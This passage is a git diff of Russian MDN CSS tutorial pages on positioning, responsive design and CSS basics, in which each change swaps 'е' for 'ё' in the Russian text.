позиционированием.</p> +<p class="summary">Основы позиционирования, приведённые в последней статье, мы теперь рассмотрим, как создать некоторые примеры реального мира, чтобы проиллюстрировать, какие вещи вы можете сделать с позиционированием.</p> <table class="learn-box standard-table"> <tbody> @@ -24,7 +24,7 @@ translation_of: Learn/CSS/CSS_layout/Practical_positioning_examples <h2 id="Информационный_блок_с_вкладками">Информационный блок с вкладками</h2> -<p>Первый пример, который мы рассмотрим, - это классический информационный блок с вкладками - очень распространенная функция, используемая, когда вы хотите упаковать много информации в небольшую область. Сюда входят информационные приложения, такие как стратегии / военные игры, мобильные версии веб-сайтов, где экран и пространство ограничены и необходимы компактные информационные окна, где вы можете сделать много информации, не заполняя весь пользовательский интерфейс. Наш простой пример будет выглядеть так, как только мы закончим:</p> +<p>Первый пример, который мы рассмотрим, - это классический информационный блок с вкладками - очень распространённая функция, используемая, когда вы хотите упаковать много информации в небольшую область. Сюда входят информационные приложения, такие как стратегии / военные игры, мобильные версии веб-сайтов, где экран и пространство ограничены и необходимы компактные информационные окна, где вы можете сделать много информации, не заполняя весь пользовательский интерфейс. Наш простой пример будет выглядеть так, как только мы закончим:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13368/tabbed-info-box.png" style="display: block; height: 400px; margin: 0px auto; width: 450px;"></p> @@ -35,7 +35,7 @@ translation_of: Learn/CSS/CSS_layout/Practical_positioning_examples <p>Возможно, вы думаете: «Почему бы просто не создавать отдельные вкладки в виде отдельных веб-страниц и просто иметь вкладки, переходящие на отдельные страницы, чтобы создать эффект?» Этот код был бы проще, да, но тогда каждый отдельный «просмотр страницы» на самом деле был бы вновь загруженной веб-страницей, что затрудняло бы сохранение информации между представлениями и интеграцию этой функции в более крупный дизайн пользовательского интерфейса. Кроме того, так называемые «одностраничные приложения» становятся очень популярными - особенно для мобильных веб-интерфейсов - потому что все, что обслуживается как один файл, сокращает количество HTTP-запросов, необходимых для просмотра всего содержимого, тем самым повышая производительность.</p> <div class="note"> -<p><strong>Примечание:</strong> Некоторые веб-разработчики занимаются еще более быстрыми темпами, имея только одну страницу информации, загружаемую сразу и динамическое изменение информации, отображаемой с помощью функции JavaScript, такой как <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>. На этом этапе вашего обучения мы хотим сохранить все как можно проще. Впоследствии есть JavaScript, но только немного.</p> +<p><strong>Примечание:</strong> Некоторые веб-разработчики занимаются ещё более быстрыми темпами, имея только одну страницу информации, загружаемую сразу и динамическое изменение информации, отображаемой с помощью функции JavaScript, такой как <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>. На этом этапе вашего обучения мы хотим сохранить все как можно проще. Впоследствии есть JavaScript, но только немного.</p> </div> <p>Для начала мы хотели бы, чтобы вы создали локальную копию исходного HTML-файла — <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box-start.html">info-box-start.html</a>. Сохраните это где вам удобно на локальном компьютере и откройте его в текстовом редакторе. Давайте посмотрим на HTML, содержащийся в теле:</p> @@ -101,7 +101,7 @@ body { margin: 0 auto; }</pre> -<p>Это задает конкретную ширину и высоту содержимого и центрирует его на экране с использованием старого <code>margin: 0 auto </code>трюка. Раньше в курсе мы советовали не устанавливать фиксированную высоту на контейнеры содержимого, если это вообще возможно; это нормально в этом случае, потому что у нас есть фиксированный контент на наших вкладках. Это также выглядит немного раздражающим, чтобы иметь разные вкладки на разных высотах.</p> +<p>Это задаёт конкретную ширину и высоту содержимого и центрирует его на экране с использованием старого <code>margin: 0 auto </code>трюка. Раньше в курсе мы советовали не устанавливать фиксированную высоту на контейнеры содержимого, если это вообще возможно; это нормально в этом случае, потому что у нас есть фиксированный контент на наших вкладках. Это также выглядит немного раздражающим, чтобы иметь разные вкладки на разных высотах.</p> <h3 id="Укладка_наших_вкладок">Укладка наших вкладок</h3> diff --git a/files/ru/learn/css/css_layout/responsive_design/index.html b/files/ru/learn/css/css_layout/responsive_design/index.html index 76ee65f70c..6178dfa90b 100644 --- a/files/ru/learn/css/css_layout/responsive_design/index.html +++ b/files/ru/learn/css/css_layout/responsive_design/index.html @@ -6,7 +6,7 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн --- <div>{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout")}}</div> -<p><span class="tlid-translation translation" lang="ru"><span title="">На заре веб-дизайна страницы создавались для экрана определенного размера.</span></span> Если у пользователя был экран большего или меньшего размера чем ожидал дизайнер, то результат мог быть от нежелательных полос прокрутки, до<span class="tlid-translation translation" lang="ru"><span title=""> слишком длинной строки и плохого использования пространства. Поскольку становились доступны много различных размеров экранов, появилась концепция <em>отзывчивого (адаптивного) веб-дизайна</em> </span></span><em>(responsive web design</em> (RWD)) — набор методов, которые позволяют веб-страницам менять свой макет и внешний вид в соответствии с разной шириной экрана, разрешением и т.д. Это та самая, идея которая изменила подход к дизайну веба для множества устройств, и в этой статье мы поможем вам понять основные методы, которые вам необходимо знать, чтобы освоить его.</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">На заре веб-дизайна страницы создавались для экрана определённого размера.</span></span> Если у пользователя был экран большего или меньшего размера чем ожидал дизайнер, то результат мог быть от нежелательных полос прокрутки, до<span class="tlid-translation translation" lang="ru"><span title=""> слишком длинной строки и плохого использования пространства. Поскольку становились доступны много различных размеров экранов, появилась концепция <em>отзывчивого (адаптивного) веб-дизайна</em> </span></span><em>(responsive web design</em> (RWD)) — набор методов, которые позволяют веб-страницам менять свой макет и внешний вид в соответствии с разной шириной экрана, разрешением и т.д. Это та самая, идея которая изменила подход к дизайну веба для множества устройств, и в этой статье мы поможем вам понять основные методы, которые вам необходимо знать, чтобы освоить его.</p> <table class="learn-box standard-table"> <tbody> @@ -70,7 +70,7 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн <h2 id="Отзывчивый_дизайн">Отзывчивый дизайн</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">Термин адаптивный дизайн был </span></span><a href="https://alistapart.com/article/responsive-web-design/">Придуман Итаном Маркоттом в 2010 году</a><span class="tlid-translation translation" lang="ru"><span title=""> и описывал использование трех методов в сочетании.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Термин адаптивный дизайн был </span></span><a href="https://alistapart.com/article/responsive-web-design/">Придуман Итаном Маркоттом в 2010 году</a><span class="tlid-translation translation" lang="ru"><span title=""> и описывал использование трёх методов в сочетании.</span></span></p> <ol> <li>Первой была идея жидких сеток, нечто что уже исследовала Гилленвотер, что можно прочитать в статье Маркотта - <a href="https://alistapart.com/article/fluidgrids/">Fluid Grids</a> (опубликовано в 2009 в A List Apart).</li> @@ -84,7 +84,7 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн <h2 id="Media_Queries_Медиавыражения">Media Queries (Медиавыражения)</h2> -<p>Отзывчивый дизайн был способен появится только благодаря media query. Спецификация Media Queries Level 3 стала Рекомендованным Кандидатом в 2009 году, что означает, <span class="tlid-translation translation" lang="ru"><span title="">что она была признана готовой к реализации в браузерах. Медиавыражения позволяют нам проводить серию тестов (например, является ли экран пользователя больше, чем определенная ширина или разрешение) и выборочно применять CSS к стилю страницы соответственно с нуждами пользователя.</span></span></p> +<p>Отзывчивый дизайн был способен появится только благодаря media query. Спецификация Media Queries Level 3 стала Рекомендованным Кандидатом в 2009 году, что означает, <span class="tlid-translation translation" lang="ru"><span title="">что она была признана готовой к реализации в браузерах. Медиавыражения позволяют нам проводить серию тестов (например, является ли экран пользователя больше, чем определённая ширина или разрешение) и выборочно применять CSS к стилю страницы соответственно с нуждами пользователя.</span></span></p> <p>Например, следующее медиавыражение проверяет отображается ли текущая страница как экранная медиа (а не как печатный документ) и имеет ли область просмотра ширину как минимум 800 px. CSS будет применяться к селектору <code>.container</code> только если эти две вещи истины.</p> @@ -103,11 +103,11 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн <h2 id="Гибкие_сетки">Гибкие сетки</h2> -<p>Отзывчивые сайты не просто меняют свой макет между контрольными точками, они построены на гибких сетках. Гибкая сетка подразумевает что вам не надо заботиться о каждом возможном существующем размере устройства и строить для них идеальный макет в пикселях. Такой подход был бы невозможен имея широкое множество существующих устройств разных размеров, как и факт того, что даже на ПК люди не всегда используют браузер с развернутым до максимума окном.</p> +<p>Отзывчивые сайты не просто меняют свой макет между контрольными точками, они построены на гибких сетках. Гибкая сетка подразумевает что вам не надо заботиться о каждом возможном существующем размере устройства и строить для них идеальный макет в пикселях. Такой подход был бы невозможен имея широкое множество существующих устройств разных размеров, как и факт того, что даже на ПК люди не всегда используют браузер с развёрнутым до максимума окном.</p> <p>Используя гибкую сетку, вам всего лишь надо добавить контрольную точку и изменить дизайн в точке, когда ваш контент начинает выглядеть плохо. Например, если длина строки становится нечитаемо длинной при увеличении размера экрана, или блок становится сдавленным с двумя словами в каждой строке при сужении экрана.</p> -<p>В первые дни отзывчивого дизайна, нашим единственным вариантом выполнения было использование <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">floats</a>. Гибкий обтекаемый макет достигался путем присвоения каждому элементу процентной ширины удостоверившись, что итоговые значения в макете не превышают 100%. <span class="tlid-translation translation" lang="ru"><span title="">В своей оригинальной статье о плавучих сетках Маркотт подробно описал формулу для преобразования макета, созданного с использованием пикселей, в проценты.</span></span></p> +<p>В первые дни отзывчивого дизайна, нашим единственным вариантом выполнения было использование <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">floats</a>. Гибкий обтекаемый макет достигался путём присвоения каждому элементу процентной ширины удостоверившись, что итоговые значения в макете не превышают 100%. <span class="tlid-translation translation" lang="ru"><span title="">В своей оригинальной статье о плавучих сетках Маркотт подробно описал формулу для преобразования макета, созданного с использованием пикселей, в проценты.</span></span></p> <pre class="notranslate"><code>target / context = result </code> </pre> @@ -119,7 +119,7 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн } </code> </pre> -<p><span class="tlid-translation translation" lang="ru"><span title="">Этот подход сегодня можно найти во многих местах в Интернете и он задокументирован здесь в разделе макетов в нашей статье </span></span><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Устаревших методов макетов</a>. В вашей работе вероятно, что вы столкнетесь с веб-сайтами, использующими этот подход, поэтому стоит понимать его, даже если вы не будете строить современные сайты используя гибкие сетки основанные на float.</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Этот подход сегодня можно найти во многих местах в Интернете и он задокументирован здесь в разделе макетов в нашей статье </span></span><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Устаревших методов макетов</a>. В вашей работе вероятно, что вы столкнётесь с веб-сайтами, использующими этот подход, поэтому стоит понимать его, даже если вы не будете строить современные сайты используя гибкие сетки основанные на float.</p> <p>Следующий пример демонстрирует простой отзывчивый дизайн используя Media Query и гибкие сетки. На узких экранах макет отображает блоки, сложенные друг на друга:</p> @@ -139,11 +139,11 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн <h2 id="Современные_технологии_макетов">Современные технологии макетов</h2> -<p>Современные методы макетов такие как <a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Макет с несколькими столбцами</a>, <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>, и <a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid</a> являются отзывчивыми по умолчанию. Они все предполагают, что вы пытаетесь создать гибкую сетку и дают вам более легкий способ сделать так.</p> +<p>Современные методы макетов такие как <a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Макет с несколькими столбцами</a>, <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>, и <a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid</a> являются отзывчивыми по умолчанию. Они все предполагают, что вы пытаетесь создать гибкую сетку и дают вам более лёгкий способ сделать так.</p> <h3 id="Multicol">Multicol</h3> -<p>Самый старый из этих методов — это multicol, когда вы задаете <code>column-count</code>, это отражает то на сколько столбцов вы хотите разбить ваш контент. Далее браузер рассчитывает их размер, размер, который изменится согласно размеру экрана.</p> +<p>Самый старый из этих методов — это multicol, когда вы задаёте <code>column-count</code>, это отражает то на сколько столбцов вы хотите разбить ваш контент. Далее браузер рассчитывает их размер, размер, который изменится согласно размеру экрана.</p> <pre class="brush: css notranslate"><code>.container { column-count: 3; @@ -173,12 +173,12 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн </pre> <div class="blockIndicator note"> -<p><strong>Примечание</strong>: В качестве примера мы перестроили простой отзывчивый макет выше, в этот раз используя flexbox. Вы видите что нас больше не надо использовать странные процентные значения для подсчета размера столбцов: <a href="https://mdn.github.io/css-examples/learn/rwd/flex-based-rwd.html">пример</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/flex-based-rwd.html">исходный код</a>.</p> +<p><strong>Примечание</strong>: В качестве примера мы перестроили простой отзывчивый макет выше, в этот раз используя flexbox. Вы видите что нас больше не надо использовать странные процентные значения для подсчёта размера столбцов: <a href="https://mdn.github.io/css-examples/learn/rwd/flex-based-rwd.html">пример</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/flex-based-rwd.html">исходный код</a>.</p> </div> <h3 id="CSS_grid">CSS grid</h3> -<p>В макете CSS Grid единицы измерения <code>fr</code> позволяют распределять доступное пространство между дорожками сетки. Следующий пример создает grid контейнер с тремя дорожками размером <code>1fr</code>. Это создаст три вертикальные дорожки, каждая занимающая одну часть свободного пространства в контейнере. <span class="tlid-translation translation" lang="ru"><span title="">Вы можете узнать больше об этом подходе к созданию сетки в теме Изучение Макета Grid в разделе </span></span><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids#Flexible_grids_with_the_fr_unit">Гибкие grids с единицами fr</a>.</p> +<p>В макете CSS Grid единицы измерения <code>fr</code> позволяют распределять доступное пространство между дорожками сетки. Следующий пример создаёт grid контейнер с тремя дорожками размером <code>1fr</code>. Это создаст три вертикальные дорожки, каждая занимающая одну часть свободного пространства в контейнере. <span class="tlid-translation translation" lang="ru"><span title="">Вы можете узнать больше об этом подходе к созданию сетки в теме Изучение Макета Grid в разделе </span></span><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids#Flexible_grids_with_the_fr_unit">Гибкие grids с единицами fr</a>.</p> <pre class="brush: css notranslate"><code>.container { display: grid; @@ -187,12 +187,12 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн </pre> <div class="blockIndicator note"> -<p><strong>Примечание</strong>: версия grid макета еще проще, поскольку мы можем определить столбцы в .wrapper: <a href="https://mdn.github.io/css-examples/learn/rwd/grid-based-rwd.html">пример</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/grid-based-rwd.html">исходный код</a>.</p> +<p><strong>Примечание</strong>: версия grid макета ещё проще, поскольку мы можем определить столбцы в .wrapper: <a href="https://mdn.github.io/css-examples/learn/rwd/grid-based-rwd.html">пример</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/grid-based-rwd.html">исходный код</a>.</p> </div> <h2 id="Отзывчивые_изображения">Отзывчивые изображения</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">Самый простой подход к отзывчивым изображениям был описан</span></span> в ранних статьях Маркотта по отзывчивому дизайну. <span class="tlid-translation translation" lang="ru"><span title="">По сути, вы берете изображение максимального размера, которое могло понадобиться, и уменьшаете его.</span></span> Этот подход до сих пор используется и в большинстве таблиц стилей вы найдете следующий CSS:</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Самый простой подход к отзывчивым изображениям был описан</span></span> в ранних статьях Маркотта по отзывчивому дизайну. <span class="tlid-translation translation" lang="ru"><span title="">По сути, вы берете изображение максимального размера, которое могло понадобиться, и уменьшаете его.</span></span> Этот подход до сих пор используется и в большинстве таблиц стилей вы найдёте следующий CSS:</p> <pre class="brush: css notranslate"><code>img { max-width: 100%; @@ -209,9 +209,9 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн <h2 id="Отзывчивая_типография">Отзывчивая типография</h2> -<p>Элементом отзывчивого дизайна, не освещенного ранее в работе, была идея отзывчивой типографии. Главным образом, она описывает изменение размера шрифта в пределах media queries для того, чтобы отображать большую или меньшую площадь экрана.</p> +<p>Элементом отзывчивого дизайна, не освещённого ранее в работе, была идея отзывчивой типографии. Главным образом, она описывает изменение размера шрифта в пределах media queries для того, чтобы отображать большую или меньшую площадь экрана.</p> -<p>В этом примере, мы хотим задать нашему заголовку первого уровня <code>4rem</code>, что значит, что он будет в четыре раза больше нашего базового размера шрифта. Это очень большой заголовок! Мы хотим этот гигантский заголовок только на экранах больших размеров, поэтому мы сначала создаем меньший заголовок, а затем используем media queries чтобы переписать его для больших экранов если мы знаем что у пользователя есть экран размером как минимум <code>1200px</code>.</p> +<p>В этом примере, мы хотим задать нашему заголовку первого уровня <code>4rem</code>, что значит, что он будет в четыре раза больше нашего базового размера шрифта. Это очень большой заголовок! Мы хотим этот гигантский заголовок только на экранах больших размеров, поэтому мы сначала создаём меньший заголовок, а затем используем media queries чтобы переписать его для больших экранов если мы знаем что у пользователя есть экран размером как минимум <code>1200px</code>.</p> <pre class="brush: css notranslate"><code>html { font-size: 1em; @@ -228,7 +228,7 @@ h1 { } </code> </pre> -<p><span class="tlid-translation translation" lang="ru"><span title="">Мы отредактировали наш приведенный выше пример отзывчивой сетки grid, чтобы он также включал в себя адаптивный тип, используя описанный метод.</span> <span title="">Вы можете видеть, как заголовок меняет размеры, когда макет переходит в версию с двумя столбцами.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Мы отредактировали наш приведённый выше пример отзывчивой сетки grid, чтобы он также включал в себя адаптивный тип, используя описанный метод.</span> <span title="">Вы можете видеть, как заголовок меняет размеры, когда макет переходит в версию с двумя столбцами.</span></span></p> <p>В мобильных версиях заголовок меньше:</p> diff --git a/files/ru/learn/css/first_steps/getting_started/index.html b/files/ru/learn/css/first_steps/getting_started/index.html index 674d5498d9..cad8d8ee51 100644 --- a/files/ru/learn/css/first_steps/getting_started/index.html +++ b/files/ru/learn/css/first_steps/getting_started/index.html @@ -15,7 +15,7 @@ translation_of: Learn/CSS/First_steps/Getting_started <div>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</div> -<p class="summary">В этой статье мы возьмем простой HTML-документ и применим к нему CSS, изучая некоторые практические вещи о языке.</p> +<p class="summary">В этой статье мы возьмём простой HTML-документ и применим к нему CSS, изучая некоторые практические вещи о языке.</p> <table class="learn-box standard-table"> <tbody> @@ -32,7 +32,7 @@ translation_of: Learn/CSS/First_steps/Getting_started <h2 id="Начнём_с_HTML">Начнём с HTML</h2> -<p>Нашей отправной точкой является HTML-документ. Вы можете скопировать код снизу, если вы хотите работать на своем компьютере. Сохраните приведенный ниже код как <code>index.html</code> в папке на вашем компьютере.</p> +<p>Нашей отправной точкой является HTML-документ. Вы можете скопировать код снизу, если вы хотите работать на своём компьютере. Сохраните приведённый ниже код как <code>index.html</code> в папке на вашем компьютере.</p> <pre class="brush: html"><!doctype html> <html lang="ru"> @@ -81,13 +81,13 @@ translation_of: Learn/CSS/First_steps/Getting_started color: red; }</pre> -<p>Сохраните файлы HTML и CSS и перезагрузите страницу в веб-браузере. Заголовок первого уровня в верхней части документа теперь должен быть красным. Если это произойдет, поздравляю — Вы успешно применили CSS к документу HTML. Если этого не произойдет, внимательно проверьте, правильно ли Вы ввели всё.</p> +<p>Сохраните файлы HTML и CSS и перезагрузите страницу в веб-браузере. Заголовок первого уровня в верхней части документа теперь должен быть красным. Если это произойдёт, поздравляю — Вы успешно применили CSS к документу HTML. Если этого не произойдёт, внимательно проверьте, правильно ли Вы ввели всё.</p> <p>Вы можете продолжить работу в <code>styles.css</code> локально, или Вы можете использовать наш интерактивный редактор ниже, чтобы продолжить этот урок. Интерактивный редактор действует так, как если бы CSS на первой панели был связан с документом HTML, как это было в нашем документе выше.</p> <h2 id="Стилизация_HTML-элементов">Стилизация HTML-элементов</h2> -<p>Делая наш заголовок красным, мы уже продемонстрировали, что можем нацеливать и стилизовать элемент HTML. Мы делаем это путем нацеливания на элемент<em> selector</em> — это селектор, который напрямую соответствует имени элемента HTML. Чтобы нацелиться на все абзацы в документе, Вы должны использовать селектор <code>p</code>. Чтобы сделать все абзацы зелёными, Вы должны использовать:</p> +<p>Делая наш заголовок красным, мы уже продемонстрировали, что можем нацеливать и стилизовать элемент HTML. Мы делаем это путём нацеливания на элемент<em> selector</em> — это селектор, который напрямую соответствует имени элемента HTML. Чтобы нацелиться на все абзацы в документе, Вы должны использовать селектор <code>p</code>. Чтобы сделать все абзацы зелёными, Вы должны использовать:</p> <pre class="brush: css">p { color: green; @@ -115,15 +115,15 @@ translation_of: Learn/CSS/First_steps/Getting_started <p>Попробуйте добавить это в свой CSS сейчас.</p> -<p>Свойство <code>list-style-type</code> — это хорошее свойство, информацию о котором можно найти на MDN, чтобы увидеть, какие значения поддерживаются. Взгляните на страницу для <code><a href="/en-US/docs/Web/CSS/list-style-type">list-style-type</a></code> и Вы найдете интерактивный пример в верхней части страницы, чтобы опробовать некоторые другие значения, затем все допустимые значения будут подробно описаны ниже.</p> +<p>Свойство <code>list-style-type</code> — это хорошее свойство, информацию о котором можно найти на MDN, чтобы увидеть, какие значения поддерживаются. Взгляните на страницу для <code><a href="/en-US/docs/Web/CSS/list-style-type">list-style-type</a></code> и Вы найдёте интерактивный пример в верхней части страницы, чтобы опробовать некоторые другие значения, затем все допустимые значения будут подробно описаны ниже.</p> <p>Глядя на эту страницу, вы обнаружите, что помимо удаления маркеров списка Вы можете изменить их — попробуйте изменить их на квадратные маркеры, используя значение <code>square</code>.</p> <h2 id="Добавление_класса">Добавление класса</h2> -<p>Пока у нас есть стилизованные элементы, основанные на их именах HTML-элементов. Это работает до тех пор, пока Вы хотите, чтобы все элементы этого типа в Вашем документе выглядели одинаково. В большинстве случаев это не так, и Вам нужно будет найти способ выбрать подмножество элементов, не меняя остальные. Самый распространенный способ сделать это — добавить класс к вашему HTML-элементу и нацелиться на этот класс.</p> +<p>Пока у нас есть стилизованные элементы, основанные на их именах HTML-элементов. Это работает до тех пор, пока Вы хотите, чтобы все элементы этого типа в Вашем документе выглядели одинаково. В большинстве случаев это не так, и Вам нужно будет найти способ выбрать подмножество элементов, не меняя остальные. Самый распространённый способ сделать это — добавить класс к вашему HTML-элементу и нацелиться на этот класс.</p> -<p>В своем HTML-документе добавьте Атрибут <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/class">class</a> ко второму пункту списка. Ваш список теперь будет выглядеть так:</p> +<p>В своём HTML-документе добавьте Атрибут <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/class">class</a> ко второму пункту списка. Ваш список теперь будет выглядеть так:</p> <pre class="brush: html; highlight[3]"><ul> <li>Элемент один</li> @@ -171,7 +171,7 @@ span.special { <p>Этот селектор выберет любой элемент <code><em></code>, который находится внутри (потомка) <code><li></code>. Итак, в Вашем примере документа Вы должны найти, что <code><em></code> в третьем элементе списка теперь фиолетовый, но тот, который находится внутри абзаца, не изменился.</p> -<p>Ещё можно попробовать стилизовать абзац, когда он идет сразу после заголовка на том же уровне иерархии в HTML. Для этого поместите <code>+</code> (<strong>соседний братский комбинатор</strong>) между селекторами.</p> +<p>Ещё можно попробовать стилизовать абзац, когда он идёт сразу после заголовка на том же уровне иерархии в HTML. Для этого поместите <code>+</code> (<strong>соседний братский комбинатор</strong>) между селекторами.</p> <p>Попробуйте также добавить это правило в таблицу стилей:</p> @@ -189,7 +189,7 @@ span.special { <h2 id="Стилизация_элементов_на_основе_состояния">Стилизация элементов на основе состояния</h2> -<p>Последний тип стилей, который мы рассмотрим в этом уроке, — это возможность стилизовать элементы в зависимости от их состояния. Прямым примером этого является стиль ссылок. Когда мы создаём ссылку, мы должны нацелить элемент <code><a href="/en-US/docs/Web/HTML/Element/a"><a></a></code> (якорь). Он имеет различные состояния в зависимости от того, посещается ли он, посещается, находится над ним, фокусируется с помощью клавиатуры или в процессе нажатия (активации). Вы можете использовать CSS для нацеливания на эти разные состояния — CSS-код ниже отображает невидимые ссылки розового цвета и посещенные ссылки зелёного цвета.</p> +<p>Последний тип стилей, который мы рассмотрим в этом уроке, — это возможность стилизовать элементы в зависимости от их состояния. Прямым примером этого является стиль ссылок. Когда мы создаём ссылку, мы должны нацелить элемент <code><a href="/en-US/docs/Web/HTML/Element/a"><a></a></code> (якорь). Он имеет различные состояния в зависимости от того, посещается ли он, посещается, находится над ним, фокусируется с помощью клавиатуры или в процессе нажатия (активации). Вы можете использовать CSS для нацеливания на эти разные состояния — CSS-код ниже отображает невидимые ссылки розового цвета и посещённые ссылки зелёного цвета.</p> <pre class="brush: css">a:link { color: pink; @@ -199,17 +199,17 @@ a:visited { color: green; }</pre> -<p>Вы можете изменить внешний вид ссылки, когда пользователь наводит на неё курсор, например, удалив подчеркивание, что достигается с помощью следующего правила:</p> +<p>Вы можете изменить внешний вид ссылки, когда пользователь наводит на неё курсор, например, удалив подчёркивание, что достигается с помощью следующего правила:</p> <pre class="brush: css">a:hover { text-decoration: none; }</pre> -<p>В приведённом ниже примере Вы можете поиграть с разными значениями для разных состояний ссылки. Я добавил к нему правила, приведенные выше, и теперь понимаю, что розовый цвет довольно легкий и трудно читаемый — почему бы не изменить его на лучший цвет? Можете ли Вы сделать ссылки жирным шрифтом?</p> +<p>В приведённом ниже примере Вы можете поиграть с разными значениями для разных состояний ссылки. Я добавил к нему правила, приведённые выше, и теперь понимаю, что розовый цвет довольно лёгкий и трудно читаемый — почему бы не изменить его на лучший цвет? Можете ли Вы сделать ссылки жирным шрифтом?</p> <p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}} </p> -<p>Мы удалили подчеркивание на нашей ссылке при наведении курсора. Вы можете удалить подчеркивание из всех состояний ссылки. Однако стоит помнить, что на реальном сайте Вы хотите, чтобы посетители знали, что ссылка является ссылкой. Оставив подчеркивание на месте, люди могут понять, что на какой-то текст внутри абзаца можно нажимать — к такому поведению они привыкли. Как и всё в CSS, существует возможность сделать документ менее доступным с Вашими изменениями — мы постараемся выделить потенциальные подводные камни в соответствующих местах.</p> +<p>Мы удалили подчёркивание на нашей ссылке при наведении курсора. Вы можете удалить подчёркивание из всех состояний ссылки. Однако стоит помнить, что на реальном сайте Вы хотите, чтобы посетители знали, что ссылка является ссылкой. Оставив подчёркивание на месте, люди могут понять, что на какой-то текст внутри абзаца можно нажимать — к такому поведению они привыкли. Как и всё в CSS, существует возможность сделать документ менее доступным с Вашими изменениями — мы постараемся выделить потенциальные подводные камни в соответствующих местах.</p> <div class="blockIndicator note"> <p><strong>Примечание</strong>: Вы часто будете видеть упоминание о <a href="https://developer.mozilla.org/ru/docs/Learn/%D0%94%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%BD%D0%BE%D1%81%D1%82%D1%8C">доступности</a> в этих уроках и по всей MDN. Когда мы говорим о доступности, мы имеем в виду требование, чтобы наши веб-страницы были понятными и доступными для всех.</p> @@ -226,7 +226,7 @@ a:visited { <pre class="brush: css">/* выбирает любой <span> внутри <p>, который находится внутри <article> */ article p span { ... } -/* выбирает любой <p>, который идет сразу после <ul>, который идет сразу после <h1> */ +/* выбирает любой <p>, который идёт сразу после <ul>, который идёт сразу после <h1> */ h1 + ul + p { ... }</pre> <p>Вы также можете комбинировать несколько типов вместе. Попробуйте добавить следующее в ваш код:</p> @@ -241,7 +241,7 @@ h1 + ul + p { ... }</pre> <p>В оригинальном HTML, который мы предоставили, единственный элемент в стиле <code><span class="special"></code>.</p> -<p>Не беспокойтесь, если это покажется сложным — Вы скоро начнете понимать это, когда будете писать больше на CSS.</p> +<p>Не беспокойтесь, если это покажется сложным — Вы скоро начнёте понимать это, когда будете писать больше на CSS.</p> <h2 id="Завершение">Завершение</h2> diff --git a/files/ru/learn/css/first_steps/how_css_is_structured/index.html b/files/ru/learn/css/first_steps/how_css_is_structured/index.html index c5bd2d4f2f..3956b38eec 100644 --- a/files/ru/learn/css/first_steps/how_css_is_structured/index.html +++ b/files/ru/learn/css/first_steps/how_css_is_structured/index.html @@ -42,7 +42,7 @@ original_slug: Learn/CSS/First_steps/Как_структурирован_CSS <h3 id="Внешняя_таблица_стилей">Внешняя таблица стилей</h3> -<p>В статье <a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/First_steps/Getting_started">Начало работы с CSS</a> мы связывали внешнюю таблицу стилей с нашей страницей. Это самый распространенный и полезный способ крепления CSS к документу, так вы можете привязать CSS сразу к нескольким страницам, что позволяет стилизовать их всё с той же таблицей стилей. В большинстве случаев различные страницы сайта будут выглядеть почти так же, поэтому вы можете использовать один и тот же набор правил для основного вида.</p> +<p>В статье <a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/First_steps/Getting_started">Начало работы с CSS</a> мы связывали внешнюю таблицу стилей с нашей страницей. Это самый распространённый и полезный способ крепления CSS к документу, так вы можете привязать CSS сразу к нескольким страницам, что позволяет стилизовать их всё с той же таблицей стилей. В большинстве случаев различные страницы сайта будут выглядеть почти так же, поэтому вы можете использовать один и тот же набор правил для основного вида.</p> <p>Внешняя таблица стилей - это когда у вас есть CSS отдельным файлом с расширением <code>.css</code>, и ссылка на него из HTML-элемента <code><link></code>:</p> @@ -73,7 +73,7 @@ p { <p>Атрибут <code>href</code> элемента {{htmlelement("link")}} должен ссылаться на файл в файловой системе.</p> -<p>В приведенном выше примере файл CSS находится в той же 